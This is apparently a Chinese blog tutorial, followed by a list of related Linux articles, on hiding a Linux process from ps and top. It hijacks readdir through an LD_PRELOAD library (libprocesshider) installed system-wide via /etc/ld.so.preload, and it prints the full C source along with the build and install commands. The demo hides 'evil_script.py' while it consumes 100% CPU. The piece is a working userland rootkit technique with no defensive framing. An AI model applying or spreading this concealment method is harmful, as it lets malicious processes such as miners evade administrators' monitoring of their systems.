linux 下隐藏进程的一种方法及遇到的坑

前言

1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载

2.思路就是利用 LD_PRELOAD 来实现系统函数的劫持

LD_PRELOAD是什么:

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

实现

1.下载程序编译

bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#

2.移动文件到/usr/local/lib/目录下

mv libprocesshider.so /usr/local/lib/

3.把它加载到全局动态连接局

echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试

1.我们运行evil_script.py

2.此时发现在top 与 ps 中都无法找到 evil_script.py

此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序

分析

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "evil_script.py";
/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
  int fd = dirfd(dirp);
  if(fd == -1) {
    return 0;
  }
  char tmp[64];
  snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
  ssize_t ret = readlink(tmp, buf, size);
  if(ret == -1) {
    return 0;
  }
  buf[ret] = 0;
  return 1;
}
/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
  if(strspn(pid, "0123456789") != strlen(pid)) {
    return 0;
  }
  char tmp[256];
  snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
  FILE* f = fopen(tmp, "r");
  if(f == NULL) {
    return 0;
  }
  if(fgets(tmp, sizeof(tmp), f) == NULL) {
    fclose(f);
    return 0;
  }
  fclose(f);
  int unused;
  sscanf(tmp, "%d (%[^)]s", &unused, buf);
  return 1;
}
#define DECLARE_READDIR(dirent, readdir)                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;        \
struct dirent* readdir(DIR *dirp)                    \
{                                    \
  if(original_##readdir == NULL) {                  \
    original_##readdir = dlsym(RTLD_NEXT, "readdir");        \
    if(original_##readdir == NULL)                 \
    {                                \
      fprintf(stderr, "Error in dlsym: %s\n", dlerror());     \
    }                                \
  }                                  \
  struct dirent* dir;                         \
  while(1)                              \
  {                                  \
    dir = original_##readdir(dirp);                 \
    if(dir) {                            \
      char dir_name[256];                     \
      char process_name[256];                   \
      if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&    \
        strcmp(dir_name, "/proc") == 0 &&            \
        get_process_name(dir->d_name, process_name) &&     \
        strcmp(process_name, process_to_filter) == 0) {     \
        continue;                        \
      }                              \
    }                                \
    break;                             \
  }                                  \
  return dir;                             \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

1.程序定义了一个变量 process_to_filter 来控制不显示哪个进程名

2.重写readdir,

strcmp(process_name, process_to_filter) == 0)

当发现当前进程名称与 process_to_filter 相同时,继续循环.

遇到的坑

1.某些Linux中这个程序编译通不过

解决方法

删除最后两行中的一行

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

2.某些Linux中使用

shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
并不会生效
 此时我们需要配置环境变量
shell bmfxgkpt-yhd:~# vi /etc/profile
增加一行
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so

总结

以上所述是小编给大家介绍的linux 下隐藏进程的一种方法及遇到的坑,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!

(0)

相关推荐

  • Linux下强制杀死进程的方法详解

    常规篇: 首先,用ps查看进程,方法如下: $ ps -ef -- smx 1822 1 0 11:38 ? 00:00:49 gnome-terminal smx 1823 1822 0 11:38 ? 00:00:00 gnome-pty-helper smx 1824 1822 0 11:38 pts/0 00:00:02 bash smx 1827 1 4 11:38 ? 00:26:28 /usr/lib/firefox-3.6.18/firefox-bin smx 1857 1822

  • Linux 如何快速找到运行中的进程

    1 进程概述 通俗的讲程序是一个包含可以执行代码的静态的文件.进程是一个开始执行但是还没有结束的程序的实例. 当程序被系统调用到内存以后,系统会给程序分配一定的资源(内存,设备等等)然后进行一系列的复杂操作,使程序变成进程以供系统调用. 1.1 进程的分类 按照进程的功能和运行的程序分类,进程可划分为两大类: 系统进程 可以执行内存资源分配和进程切换等管理工作,而且该进程的运行不受用户的干预,即使是root用户也不能干预系统进程的运行. 用户进程 通过执行用户程序.应用程序或内核之外的系统程序而

  • Linux中怎么通过PID号找到对应的进程名及所在目录方法

    有时候通过top命令可以看到有个别进程占用的内存比较大,但是top无法直接查看到进程名以及进程所在的目录.所以我们可以通过以下方法来定位. 首先需要知道PID号,可以通过top命令获取. 然后我们可以用ps看以下大致信息(ps出来的信息个人觉得比较乱,不是很方便查找) [root@iZbp13806tx36fgoq7bzk1Z 28990]# ps -aux |grep -v grep|grep 28990 28990 0.7 14.0 5112056 1128224 ? Ssl Sep26 2

  • Linux如何查看进程栈信息示例

    今天在Linux上调试程序程序的时候发现有时候程序会莫名其妙的hang住,于是就想能不能找到当时程序有那些线程,都在做什么.找了一下linux命令,还真可以满足我的需求.下面看一个小例子. 先准备一段程序,为了简单起见这里使用python来写,其中创建了两个线程来执行各自的任务. import threading import time def test1(): while(True): time.sleep(1) print 'test1' def test2(): while(True):

  • 在Linux中查看进程占用的端口号

    对于 Linux 系统管理员来说,清楚某个服务是否正确地绑定或监听某个端口,是至关重要的.如果你需要处理端口相关的问题,这篇文章可能会对你有用. 端口是 Linux 系统上特定进程之间逻辑连接的标识,包括物理端口和软件端口.由于 Linux 操作系统是一个软件,因此本文只讨论软件端口.软件端口始终与主机的 IP 地址和相关的通信协议相关联,因此端口常用于区分应用程序.大部分涉及到网络的服务都必须打开一个套接字来监听传入的网络请求,而每个服务都使用一个独立的套接字. 套接字是和 IP 地址.软件端

  • linux 进程数最大值修改方法

    实际的系统进程数上限收到3个配置项的影响: 1.threads-max (/proc/sys/kernel/threads_max) 这个值表示物理内存决定的系统进程数上限,fork_init中有: max_threads = mempages / (THREAD_SIZE/PAGE_SIZE) / 8 2.pid_max (/proc/sys/kernel/pid_max) 这个值表示进程ID的上限.为了兼容旧版,默认为32768(即两个字节). <code class="hljs ru

  • 详解Linux监控重要进程的实现方法

    不管后台服务程序写的多么健壮,还是可能会出现core dump等程序异常退出的情况,但是一般情况下需要在无 人为干预情况下,能够自动重新启动,保证服务进程能够服务用户.这时就需要一个监控程序来实现能够让服务进程自动重新启动.查阅相关资料及尝试一些方法之后,总结linux系统监控重要进程的实现方法:脚本检测和子进程替换. 1.脚本检测 (1) 基本思路: 通过shell命令(ps -e | grep "$1" | grep -v "grep" | wc -l) 获取

  • Linux创建进程达到65535的方法

    Linux上创建进程据说消耗很少,这个一直是Linux的特点,于是就专门测试Linux创建进程的极限,测试代码如下: //fork.c #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #define MAXPROCESS 65535 #define SLEEPTIME 60 int main(int argc, char **argv) { pid_

  • linux 下隐藏进程的一种方法及遇到的坑

    前言 1.本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载 2.思路就是利用 LD_PRELOAD 来实现系统函数的劫持 LD_PRELOAD是什么: LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库.这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数.通过这个环境变量,我们可以在主程序和其动态链

  • Linux下去掉^M的四种方法

    第一种方法: cat -A filename 就可以看到windows下的断元字符 ^M 要去除他,最简单用下面的命令: dos2unix filename 第二种方法: sed -i 's/^M//g' filename #注意:^M的输入方式是 Ctrl + v ,然后Ctrl + M 第三种方法: #vi filename :1,$ s/^M//g ^M 输入方法: ctrl+V ,ctrl+M 第四种方法: #cat filename |tr -d '/r' > newfile #^M

  • Linux启动新进程的三种方法

    程序中,我们有时需要启动一个新的进程,来完成其他的工作. 下面介绍了三种实现方法,以及这三种方法之间的区别. 1.system函数-调用shell进程,开启新进程 system函数,是通过启动shell进程,然后执行shell命令进程. 原型: int system(const char *string); string:shell命令字符串 返回值:成功返回命令退出码,无法启动shell,返回127错误码,其他错误,返回-1. 代码示例如下: process_system.c #include

  • Linux启动新进程的几种方法及比较

    有时候,我们需要在自己的程序(进程)中启动另一个程序(进程)来帮助我们完成一些工作,那么我们需要怎么才能在自己的进程中启动其他的进程呢?在Linux中提供了不少的方法来实现这一点,下面就来介绍一个这些方法及它们之间的区别. 一.system函数调用 system函数的原型为: #include <stdlib.h> int system (const char *string); 它的作用是,运行以字符串参数的形式传递给它的命令并等待该命令的完成.命令的执行情况就如同在shell中执行命令:s

  • LINUX查看进程的4种方法(小结)

    进程是在 CPU 及内存中运行的程序代码,而每个进程可以创建一个或多个进程(父子进程). **查看进程方法:** 第一种: ps aux ps命令用于报告当前系统的进程状态.可以搭配kill指令随时中断.删除不必要的程序.ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态.进程是否结束.进程有没有僵死.哪些进程占用了过多的资源等等,总之大部分信息都是可以通过执行该命令得到的. a:显示当前终端下的所有进程信息,包括其他用户的进程. u:使用以用户为主

  • Python实现Linux下守护进程的编写方法

    本文实例讲述了Python实现Linux下守护进程的编写方法,分享给大家供大家参考,相信对于大家的Python程序设计会起到一定的帮助作用.具体方法如下: 1. 调用fork()以便父进程可以退出,这样就将控制权归还给运行你程序的命令行或shell程序.需要这一步以便保证新进程不是一个进程组头领进程(process group leader).下一步,'setsid()',会因为你是进程组头领进程而失败.进程调用fork函数时,操作系统会新建一个子进程,它本质上与父进程完全相同.子进程从父进程继

  • Linux下查看进程打开的文件句柄数和如何修改方法

    修改文件句柄数在Linux下,我们使用ulimit -n 命令可以看到单个进程能够打开的最大文件句柄数量(socket连接也算在里面).系统默认值1024. 对于一般的应用来说(象Apache.系统进程)1024完全足够使用.但是如何象squid.mysql.java等单进程处理大量请求的应用来说就有 点捉襟见肘了.如果单个进程打开的文件句柄数量超过了系统定义的值,就会提到"too many files open"的错误提示.如何知道当前进程打开了多少个文件句柄呢?下面一段小脚本可以帮

  • Linux删除目录下的文件的10种方法小结

    看到了一遍文章,便突发奇想的想起Linux中删除目录下的所有文件的方法:整理了几个,如有不足,还望读者不吝赐教! 删除当前目录下的文件 1.rm -f * #最经典的方法,删除当前目录下的所有类型的文件 2.find . -type f -delete或find . -type f -exec rm -f {} \; #用find命令查找普通文件并删除or用find命令的处理动作将其删除 3.find . -type f | xargs rm -f #用于参数列表过长;要删除的文件太多 4.rm

  • 关于Linux反空闲设置的两种方法总结

    为了增强Linux系统的安全性,我们需要在用户输入空闲一段时间后自动断开,这个操作可以由设置TMOUT值来实现.或者使用客户端工具,例如securecrt连接linux服务器,有的会出现过一段时间没有任何操作,客户端与服务器就断开了连接.造成这个的原因,主要是因为客户端与服务器之间存在路由器,防火墙以及为了本身的安全性,在超过特定的时间后就会把空闲连接断开.或者是服务器端设置了断开空闲连接.那么解决的方法有两种,一是从服务器着手,一是在客户端工具上下手. 方式一:设置服务器端 1.echo $T

  • linux下安装php扩展memcache的方法

    memcache 的工作就是在专门的机器的内存里维护一张巨大的hash表,来存储经常被读写的一些数组与文件,从而极大的提高网站的运行效率,减轻后端数据库的读写压力. 实验环境:centos 6.6 x86_64 LAMP环境搭建完毕:php版本5.6.8.apache版本2.4.12 1.在安装memcached之前需要安装libevent支持: # wget http://syslab.comsenz.com/downloads/linux/libevent-1.4.12-stable.tar

随机推荐